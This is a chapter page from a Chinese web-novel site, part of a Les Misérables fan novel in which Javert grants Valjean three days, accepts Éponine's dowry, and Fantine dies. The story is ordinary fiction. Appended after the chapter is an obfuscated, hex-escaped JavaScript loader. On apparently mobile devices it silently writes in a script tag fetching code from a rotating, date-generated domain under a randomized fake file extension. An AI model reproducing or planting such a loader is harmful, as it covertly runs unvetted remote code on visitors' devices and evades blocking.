返回芳汀之死  杨白菜地首页

关灯 护眼     字体:

上一章 目录 下一章

沙威安静地站在门后,并没有进来,神色冷漠庄重,铅头警棍夹在右边腋下,左手插在领巾下的大衣翻领里,看起来跟他平时在城里巡逻时的样子没什么不同。

可艾潘妮觉得有什么地方不对,沙威的眼神变回了她上辈子记忆中的样子,锐利的灰色目光在帽檐遮掩下显得忧郁阴沉,如同发现猎物的鹰隼或恶狼,毫不动摇地盯着目标——他从一开始就只注视着马德兰市长,完全没有注意艾潘妮和芳汀的存在。

他甚至没有向任何人打过招呼,就那么伫立在门口,既不进来,也不离开。

艾潘妮低头看看芳汀,发现她眼神里带着恐惧,于是把手从她手中抽出,摸着她的脸安慰几声后,就站起来迎向门口,艾潘妮走近了一些,忽然对着沙威哑然失笑:“哎呀,你的领子是怎么搞的?”

听到艾潘妮的声音,沙威全身微微一震,猛地反应过来她也在场,原有的冷漠裂开一道缝隙,复杂的表情爬上他的脸:“你怎么也在这儿?”

“我来照顾我最好的朋友,倒是你——”艾潘妮强压着笑意,尽量镇定地指着他的左耳说道:“你的皮领搭扣,为什么挂在耳朵上?”

沙威愣了愣,条件反射地抽出左手摸上耳朵,然后尴尬地几下就硬把搭扣从左耳上掰到脖子后。艾潘妮从没见过在着装上闹出过这么大笑话的沙威,他平时完美主义情结严重,对任何事都一丝不苟,尤其是自己的仪表,这不太正常。

“现在没问题了,你是来找我的吗?”艾潘妮轻轻地问道,她不想惊扰到芳汀。

一只大手搭上了她的肩膀,是马德兰市长:“不,亲爱的。我想他是来找我的。”

艾潘妮长吁了口气,原来是公事啊。

“我知道您的来意,沙威。”马德兰市长平静地看着高大的警官,对方用刀子一样的眼光紧盯着他,像是要用目光把老人钉死在墙上或地板上一样。

“好啊,那就快走!”沙威的声音被刻意压低,但任何人都能听出语调里潜伏的狂热和粗暴,与其说是说话,不如说是在低吼。

然而马德兰市长又转头看了看艾潘妮,然后侧身指向病房里通往隔壁小套间的门:“基于不言自明的理由,我们何不换个地方聊聊呢?我想单独跟您说句话。”

艾潘妮眼看着沙威磨了磨牙,她仿佛能听见那种凶残的咯吱声——在她的意识深处,简直是魔鬼一样的声音。今天到底是怎么了,一些令她胆寒的东西,如鬼魅般重新找上门来。

她不由得脸色发青,浑身哆嗦了几下。

沙威的灰色目光动了动,居高临下地把艾潘妮的反应尽收眼底,他皴起眉头,似乎思考了几秒后,抬起下巴示意马德兰市长先走。

两个男人一前一后进入隔壁套间,门被关上了,艾潘妮摸着胸口深呼吸两次,让自己镇定下来,转身回到病床前坐下。

“没事的,他找伯父谈公事,一会就好。”艾潘妮握住芳汀颤抖的手,抚摸着她的脸,低声安慰:“跟您没关系,一会我还要让他向您道歉呢。”

芳汀过了一会才从激动状态中缓和下来,摸着苏珊的脸和头发,断断续续地说了很多,大多是要听话,要学好,照顾好自己之类的。苏珊眼里全是泪,一会就忍不住往下流。艾潘妮以珂赛特正在感冒,嗓子发炎没法说话为由,让芳汀对【珂赛特】不言不语的问题放下了心。

一切还算平安顺利,艾潘妮觉得十分难受,珂赛特还是没能带来到床前,同时她又有点庆幸,至少苏珊充当了珂赛特的角色,给已经有点糊涂的芳汀以极大的安慰。她不知道这么做是不是对的,但至少现在芳汀看起来十分幸福。

唯一美中不足的是,隔壁的动静越来越大,虽然听不清具体细节,但已经是吵架的样子。噪音穿过木门,令病人所在的空间也嘈杂起来。

“拜托,这俩人在搞什么?”艾潘妮忿忿地回头看着木门,忽然感觉手被抓住了。

“潘妮,潘妮。”

芳汀轻轻地呼喊着她,艾潘妮转回头来,发现芳汀的深蓝色眼睛清亮清亮的,正以极大得温柔直视着她的瞳孔,耳边传来虚弱如耳语般的话:“珂赛特就拜托您和马德兰先生了。”

“您说什么?”隔壁的噪音让艾潘妮没听清,她把耳朵侧过来贴近芳汀的嘴:“能再说一遍吗?”

芳汀的声音里带着笑,轻柔如春风,温暖如阳光:“我祝福您,和沙威先生,一定会幸福的。”

隔壁的争吵声更大了,甚至还夹杂了什么人撞上什么东西的声音。艾潘妮忍无可忍,站起来准备去管管那俩不懂事的大老爷们儿,她低下头对芳汀说:“亲爱的请稍等,我马上就回来。”

在艾潘妮眼中,芳汀露出她一直以来的笑容,温柔和暖,美丽得像个天使。这笑容一直深深地铭刻在艾潘妮的记忆深处,哪怕很多年以后,始终鲜艳明亮。

栗发姑娘三步并作两步冲到房间另一头,猛地拉开通往隔壁套间的小木门,怒视着房间里的两人——马德兰市长正握着沙威的手腕,像掰开孩子的抓握一样,单手就轻松地把对方的大手拉离自己的领口。

“先生们,你们是不是都忘记房间里有个病人了?!”

艾潘妮叉着腰站在门口,杏眼圆睁怒容浮现,声音压低但语气相当不爽:“在医院里保持安静!这么基本的常识,二位这么大人了还做不到吗?”

在两个互相怒视的人里,马德兰市长率先转向艾潘妮,声音里平抑着情绪:“我很抱歉,亲爱的艾潘妮。我们会保持安静的,对不对,侦察员先生?”

沙威的灰眼睛里满是暴怒的光,但转过来看向她的时候,瞬间收敛了很多:“……是的,我尽量。”

“你们在干嘛?”艾潘妮的语气里带上了疑惑,马德兰先生迅速放开了沙威的手,二人稍微拉开了点距离,但气氛依然十分诡异。

“没什么,小口角而已,勿需担心。”马德兰市长紧张地向艾潘妮笑了笑:“你可以回去陪着病人了,亲爱的。”

艾潘妮看着沙威也向她点头示意,不好继续说什么,满腹狐疑地关上了门。

“所以,我只祈求三天时间,沙威。”随着木门的关闭,马德兰市长沧桑的眼神又回到沙威的脸上:“哪怕看在艾潘妮的份上。”

“还是那句话:你以为我是傻子吗?”沙威恶狠狠地低声说道:“像你这种人我见得多了,我的职责就是维护法律,把你这种家伙带回应该呆的地方!”

白发老人整理了一下刚才被抓皱的外套,用悲悯的目光看着他,缓慢地发问:“是吗?那请你摸着自己的良心告诉我,将来你也会这么对待有恩于你的、或者深爱你的人吗?”

高大的警官脸上的肌肉在抽搐,又像高兴又像愤怒,还带着一丝惊慌失措,竟然无法迅速作答。

他高兴是因为长久以来的怀疑被验证,终于堵到了销声匿迹已久的逃犯;愤怒则是因为他竟然无法击败这个逃犯,这老人的力量远在自己之上,下去喊等在庭院里的士兵,则会给逃犯溜之大吉的机会。

而惊慌失措,则是因为沙威震惊地发现,他没法回答马德兰——现在应该改叫冉阿让——的问题。

冉阿让和艾潘妮都对他有恩。

虽没有生死恩情那么大,但沙威货真价实地欠着冉阿让一笔债。冉阿让在之前沙威被陷害的时候,为他说话为他作证。以当时的情况,冉阿让完全可以顺水推舟,彻底毁掉沙威的职业和人生,从而摆脱他这个威胁。

但冉阿让没有这么做,而是选择了为沙威作证,甚至组织了一个团队为此奔忙,光是各种开销大概就足够沙威白干好几年的。他平生最警惕罪犯利用人情债来胁迫他,现在却被命运女神无情地扔进困境。

如果沙威是个小人,就完全可以无视冉阿让对他的恩惠,拒绝这苦役犯的一切哀求,简简单单地抓走了事。可问题是——沙威很凶残,但绝不卑鄙,欠了债就要偿还,他做不到无视自己的良心。

此时良心正不断地催动,在他心中低语:

不就是三天吗?现在抓捕和三天后抓捕有什么区别呢?顶多就是个办事拖延,会被上峰申斥。但这是你可以并甘愿承担的代价。

再说了,完全可以派人“钉住”他,就像面对犯罪团伙一直以来的做法一样。并且这样做的话,还可以避开艾潘妮的视线,容后再慢慢告知,不会过于打击她的心灵。

对了,还有艾潘妮……沙威想到这里就有种要窒息的感觉,这姑娘已经不止是对他有恩的程度了,她对他来说意味着什么?

空气和水。

但要是法律对他说要惩罚她,夺走他的空气和水呢?他会怎么做?哪怕稍微想想,沙威都会觉得如临万丈深渊。惊慌的感觉在他心中迅速扩大,甚至已经开始在大理石般的脸上表现出来。

这种状况似曾相识,对了,就是在那年舞会上,听到艾潘妮对他说“良心不是法律的敌人”的时候。

所以,良心真的可以和法律共存吗?眼前这个逃犯可以被相信吗?沙威感觉自己一直坚定的信念,早就被那姑娘击出无数裂痕,可他发现这信念并没有完全崩塌,而是开始向另外的方向生长——法典在他手中只剩下半截,可缺失的部分却以更柔软更光辉的形态,逐渐重新塑造起来。而新生的这部分,像极了冉阿让命令他释放芳汀时所阐述的东西。

【最高的法律,是良心。】

“我……我不知道,但我坚信艾潘妮绝不是个罪犯。”

她那么善良纯洁,体贴又慈悲,正直又勇敢。沙威从警多年识人无数,自认一眼就能从别人眼里看出问题,他当年也是靠这点开始怀疑冉阿让的。但他从未在艾潘妮的眼里,看到任何罪恶的影子,对此他早已深信不疑。

沙威的声音沙哑而缓慢,充满了未知的奇特情绪:“只要她还是现在的她,我就会不惜一切代价保护她!”

说完,他顿了顿,闭上眼往地上啐了一口,咬着后槽牙狠狠地说道:“好,三天,只给你三天!我会派人盯着你的,休想逃跑!”

“非常感谢,侦察员先生。”冉阿让点头致谢后,继续说道:“在走之前,还有样东西要交给您。”

沙威愣了下,看着递到自己面前的小提箱,疑惑地发问:“这是什么?”

“二十万法郎,现金。”

“你要贿赂我吗?!我告诉你这玩意屁用没有,我——”

“这是艾潘妮的嫁妆。”冉阿让挑起眉毛,用关爱傻子的眼神看着他:“按惯例,在婚礼举行前,由她的监护人移交给她的丈夫。”

沙威的脸上顿时红一阵白一阵,狠话全部被硬顶回肚里,他移开目光,低头接过箱子,羞愧得没法回答任何一个字。

“尽管我是个苦役犯,但作为一个老父亲,我祝福你们,恭喜你和我家艾潘妮结婚。”

冉阿让平静的声音在他面前响起:“沙威,请你记住向我发过的誓言,无论如何绝不伤害她。”

沙威把目光转回来,刚要开口回答,却被一声尖叫吸引了注意力。

——是隔壁。

两人都吃了一惊,争先恐后地冲过小木门,只见病床上的芳汀静静地合眼躺着,脸上还带着一丝微笑,床边坐着的艾潘妮和苏珊,却都已经泪流满面。

“芳汀她走了……”艾潘妮已经泣不成声:“就在刚刚,我发现她已经没呼吸了!”

栗发姑娘大声抽泣,转身站起来迎向两人。冉阿让也在强忍泪水,伸出双手想要接住艾潘妮的拥抱,谁知她略一错身,奔向老人背后,直直地投入紧随其后的沙威怀里,开始嚎啕大哭。冉阿让的双手停在空中,只能尴尬地看着沙威紧紧地把姑娘搂在怀里,在她耳边喃喃念叨着什么,大概是在劝慰她。

唉,这就是所谓的嫁出去的姑娘泼出去的水吧?有了心上人,老父亲就不再那么重要了。

冉阿让心里一阵失落,还带着些嫉妒和酸涩,只得往病床前走去,半跪下来抱住同样痛哭的苏珊。散普丽丝修女听到哭声也冲进病房,跪在床前握着十字架悲戚地为逝者念诵悼词。

沙威感到怀中的艾潘妮已经哭到濒临崩溃,他真的很怕这姑娘下一秒就会直接晕过去。看起来那个……女人对她真的很重要,虽然沙威对她结交那样的女人颇有微词,但死亡会将全部罪孽一笔勾销,他决定不再计较芳汀的身份。

“嘘,嘘,艾潘妮,听我说。”沙威一只手搂着艾潘妮的腰,一只手轻轻拍着她的背,让她哭到打嗝时能顺利地吐出气体,用轻柔的低语在她耳边说道:“冷静一下,好女孩,来试着深呼吸,对……你不能继续这么下去,死者还需要整理遗容,后续还有很多事要做哪。”

艾潘妮泪眼朦胧地抬起头来,眼睛开始有肿起来的迹象,沙威轻轻地用大拇指帮她把泪水拭去,点点头鼓励她转身去帮芳汀整理衣服。她把芳汀凌乱的短发塞进睡帽,双手交叠在胸前,像一个圣洁的信徒一样,安详地躺在床上。此刻,芳汀的脸异常光彩,仿佛只是陷入了一场深沉的睡眠,随时可能睁眼醒来似的。

在艾潘妮和修女边哭边忙着给芳汀整理遗容时,沙威转向白发老人,脸瞬间沉了下来,那表情仿佛在冲他大吼:还不走?别忘了你只有三天时间。

冉阿让点点头,站在床头低声祷告了几句后,戴上帽子悄悄绕过病床,走到了沙威身后,用耳语向他说道:“请向艾潘妮转告,我去蒙费梅伊寻找孩子了。”

沙威哼了一声表示他知道了,冉阿让犹豫了一下,再次说道:“尽量别告诉她,关于我的事,我不想让幸福的新娘陷入第二次悲痛。”

这次,沙威久久没有反应,冉阿让叹息了一下,径直走出门去,轻轻地关上了朴素的枫木门。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");